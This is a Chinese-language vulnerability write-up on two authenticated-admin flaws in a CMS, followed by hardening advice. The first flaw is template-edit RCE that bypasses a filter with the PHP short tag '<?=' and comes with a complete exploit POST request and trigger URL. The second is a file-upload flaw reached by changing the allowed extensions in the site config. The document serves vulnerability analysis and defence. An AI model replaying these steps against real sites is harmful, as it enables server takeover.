某cms的漏洞分析
字数 984 2025-08-29 08:30:13
某CMS漏洞分析与利用教学文档
漏洞概述
该CMS存在两个关键漏洞:
- 模板文件编辑导致的远程代码执行(RCE)漏洞 - 通过绕过模板编辑限制实现
- 文件上传漏洞 - 通过修改站点配置实现恶意文件上传
漏洞1:模板编辑RCE漏洞分析
漏洞原理
该漏洞源于Appcenter.php中的模板编辑功能存在限制绕过问题。虽然系统禁止直接编辑PHP模板文件,但攻击者可以通过修改HTML模板文件并插入PHP代码来实现RCE。
关键代码分析
模板渲染流程
- show方法(位于控制器中):
public function show() {
// ...省略其他代码...
$template = explode(".", $info['show_tpl'], 2);
return $this->view->fetch('show/'.$template[0]);
}
- 最终调用
fetch方法渲染模板
- fetch方法:
public function fetch(string $template = '', array $vars = []): string {
return $this->getContent(function () use ($vars, $template) {
$this->engine()->fetch($template, array_merge($this->data, $vars));
});
}
- 底层fetch实现:
public function fetch(string $template, array $vars = []): void {
// ...省略其他代码...
$template = $this->parseTemplateFile($template);
if ($template) {
$cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');
if (!$this->checkCache($cacheFile)) {
// 缓存无效 重新模板编译
$content = file_get_contents($template);
$this->compiler($content, $cacheFile);
}
// ...省略其他代码...
}
}
- 关键点:当模板文件被修改后,会触发
file_get_contents读取模板内容并重新编译缓存
模板编辑限制
editTheme方法中的过滤逻辑:
if (!empty($content) && $pathinfo['extension']=='html') {
// 限制html里面的php相关代码提交
if (preg_match('#<([^?]*)\?php#i', $content) ||
(preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content)) ||
preg_match('#\{php#i', $content) ||
preg_match('#\{:phpinfo#i', $content)
) {
$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));
}
}
- 过滤了常规PHP标签(
<?php,<? ?>)和模板中的PHP语法 - 可绕过方式:使用PHP短标签
<?=(未被过滤)
漏洞利用步骤
- 构造恶意请求修改模板:
POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1
name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb
- 将
show_product.html内容修改为<?= phpinfo();
- 访问触发页面:
http://127.0.0.1/index.php/index/show?id=62&catname=wc
- 系统会渲染修改后的模板,执行其中的PHP代码
漏洞2:文件上传漏洞分析
漏洞原理
系统上传功能允许通过修改站点配置来控制上传文件的后缀名,攻击者可利用此功能上传恶意PHP文件。
关键代码分析
上传功能受站点配置控制,上传后的文件后缀以config配置为主。默认情况下,上传目录中的.htaccess文件会阻止PHP文件的执行:
# 禁止访问所有 .html 和 .php 文件
<FilesMatch "\.(html|php)$">
Deny from all
</FilesMatch>
漏洞利用步骤
- 修改站点配置:
- 将上传文件后缀配置修改为允许
.php
- 上传恶意文件:
- 上传一个包含恶意代码的PHP文件
- 访问上传的文件:
- 由于配置已修改,
.htaccess的限制被绕过,可以正常执行上传的PHP文件
防护建议
-
针对模板编辑RCE漏洞:
- 在模板编辑过滤中增加对PHP短标签的检测
- 禁止在HTML模板中执行任何PHP代码
- 实现更严格的模板内容验证机制
-
针对文件上传漏洞:
- 固定上传文件的后缀名,不允许通过配置修改
- 对上传文件内容进行严格检查,防止文件伪装
- 保持上传目录的执行限制,不因配置改变而失效
-
通用防护措施:
- 实施严格的权限控制,限制后台功能的访问
- 定期进行安全审计和代码审查
- 保持系统更新,及时修补已知漏洞